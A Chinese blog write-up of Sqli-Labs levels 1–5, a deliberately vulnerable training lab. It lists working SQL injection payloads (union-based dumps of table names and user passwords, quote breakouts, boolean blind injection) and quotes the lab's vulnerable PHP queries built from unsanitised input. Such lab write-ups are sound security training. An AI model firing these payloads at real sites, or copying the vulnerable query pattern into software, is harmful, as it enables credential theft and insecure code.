Sqli-Labs通关记录


Less-1

思路

我们可以先在后面加上一个?id=1',来看一下效果:

从上面的错误中可以看出来,我们提交到SQL中的1'构造后形成了'1'' LIMIT 0,1,我们需要想的就是如何能将多余的'去掉,尝试'or 1=1--+就构成了:

select xxx where id = '1' or 1 = 1 --+' limit 0,1

绿了,它绿了,也就是说可以正常的返回数据了,接下来我们就使用order by对前面的数据进行排序,这里有三行,那么我们就只能用order by 3,超过3就会报错。

分析

从源代码中分析一下,它的SQL语句为:

$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0, 1";

id 参数在拼接SQL语句时,未对id 进行任何的过滤等操作,所以当提交'or 1=1--+,直接构成了:

SELECT * FROM users WHERE id='1' or 1 = 1 --+ LIMIT 0, 1

因为or 1 = 1所以说永远为true

解决方案

先介绍一下union联合注入,它的作用是将两个SQL语句进行整合。但是它要求前后两条语句的列数是一样的。

首先添加,?id=1' and 1=2 union select 1,database(),3 --+来获取当前数据库的名称。

数据库的名字叫做security,下一步获取数据表,?id=1' and 1=2 union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

这里看到有一个users的数据表,猜测想要获得的管理员的账号密码在里面。然后我们在进行下一步,获取user中的字段名,输入?id=1' and 1=2 union select null,null,(select group_concat(column_name) from information_schema.columns where table_name='users')#

最后输入:?id=1' and 1=2 union select null,null,(select group_concat(username,0x3a,password) from users)#,不行的话就将#换成%23或者是--+

Less-2

思路

首先我们考虑将'(单引号)添加到数字中,我们会得到一个错误提示:

可以看出来我们现在执行的查询语句是:

select * from TABLE where id = 1';

所以这里是奇数个的单引号破坏了查询语句,使得出现了语法错误,因此我们得出来结论,查询代码使用了整数,也就是下面的样子:

select * from TABLE where id = (some integer value);

分析

从源代码中查看SQL语句如下:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

可以看出,它对id没有经过特殊的处理,所以说我们要注入的话就和Less-1一样了,只不过是比Less-1少了1后面的一个引号。这里就补在过多的赘述了,详情参考Less-1。

解决方案

Less-3

思路

这次们直接考虑使用?id='测试,发现注入代码后我们得到这样一个错误:

MySQL server version for the right syntax to use near "") LIMIT 0,1' at line 1

通过这个错误我们就可以直接确定出,开发者使用的查询语法大体上应该是这样的:

select login_name, password from table where id= ('our input here')

这样的话,我们注入的代码的形式就可以是这样的:?id=1') --+ 这样一来它直接就会返回用户名和密码,同时将后面的注释掉。

分析

通过查看源代码我们看到,他的SQL查询语句是这样的:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

所以说我们可以直接注入的就有') or '1'=('1') or 1=1 --+两种,剩下的部分和Less-1中的过程步骤是一样的,只是最终注入的时候的代码在开始出有一点点区别,即将Less-1中的'后面添加)

解决方案

Less-4

思路

我们使用?id=1"测试一下,发现返回的错误提示是:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

这就意味着,代码中对id参数进行了""()包装,所以我们在用这样的代码进行注入:?id=1") --+。这样一来,我们便可以得到用户名和密码了,同时后面查询也已经被注释掉了。

分析

在源代码中看相关的语句,我们发现他的SQL语句是这样的:

$sql="SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1";

所以们可以成功注入的就有") or "1"=("1") or 1=1 --+两种,其他部分和Less-1的一样,只是将'更换成")

解决方案

Less-5

思路

从这一关开始,我们刚开始还是按部就班的尝试前面的几种方法,发现它现在只是显示一个you are in...,不会返回数据库中的信息了,所以我们要开始进行盲注了。下面的函数的用法请自行查询用法。

  1. 利用left(database(), 1)进行尝试,即构造?id=1' and left(version(),1)=5 %23,可以看到,返回的结果是:you are in...,即数据库的版本是5.xxx,当版本信息不正确的时候,会什么都不显示,需要重新猜。

  2. 接下来我们需要看一下数据库的长度,我们使用length()函数测试一下。?id=' and length(database())=8 %23

    显示正确,所以我们判断,数据库的长度是8.

  3. 确定了数据库的名字的长度之后,我们就开始猜测它的名字:?id=1' and left(database(),1)>'a' %23,返回的结果是正确的,为了节省时间我们采用二分法进行测试,最终测试出第一个字母是s,接下来就是一个一个的测试,最终得出来数据库的名字叫做security

  4. 接下来就是猜测数据库中的数据表了,我们使用substr()ascii()函数进行尝试:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >80 --+,返回的结果是正确的,我们利用二分法就再一次进行尝试,最终确定出第一个字母是e,以此类推,最终爆破出第一个数据表是emails

  5. 那如何获取第二个表呢?思考一下!,这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0 个开始,获取第一个。那要获取第二个是不是就是limit 1,1!。此时就是重复上面的过程了,最终确定出所有的数据表的名称。

  6. 既然此时我们知道其中有一张表的名字叫做username,那么我们猜测是不是他的字段名中有username、password等呢,我们就使用regexp试一下,?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1) --+:

    将上面的username换成password也是一样的。

  7. 利用ord()mid()函数获取users 表的内容。获取users 表中的内容。获取username 中的第一行的第一个字符的ascii,与68 进行比较,即为D。而我们从表中得知第一行的数据为Dumb。所以接下来只需要重复造轮子即可。

分析

通过上面的例子。将通过布尔盲注SQL 的所有的payload 进行演示了一次。想必通过实例更能够对SQL布尔盲注语句熟悉和理解了。顺便看一下源代码吧:

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if ($row) {
    echo '<font size="5" color="#FFFF00">';
    echo 'You are in...........';
    echo "<br>";
    echo "</font>";
} else {

    echo '<font size="3" color="#FFFF00">';
    print_r(mysql_error());
    echo "</br></font>";
    echo '<font color= "#0000ff" font size= 3>';

}

解决方案

就是将上面所有的步骤执行一遍即可解决此题。后续我会更新使用其他的方法(报错注入和延时注入)。


文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录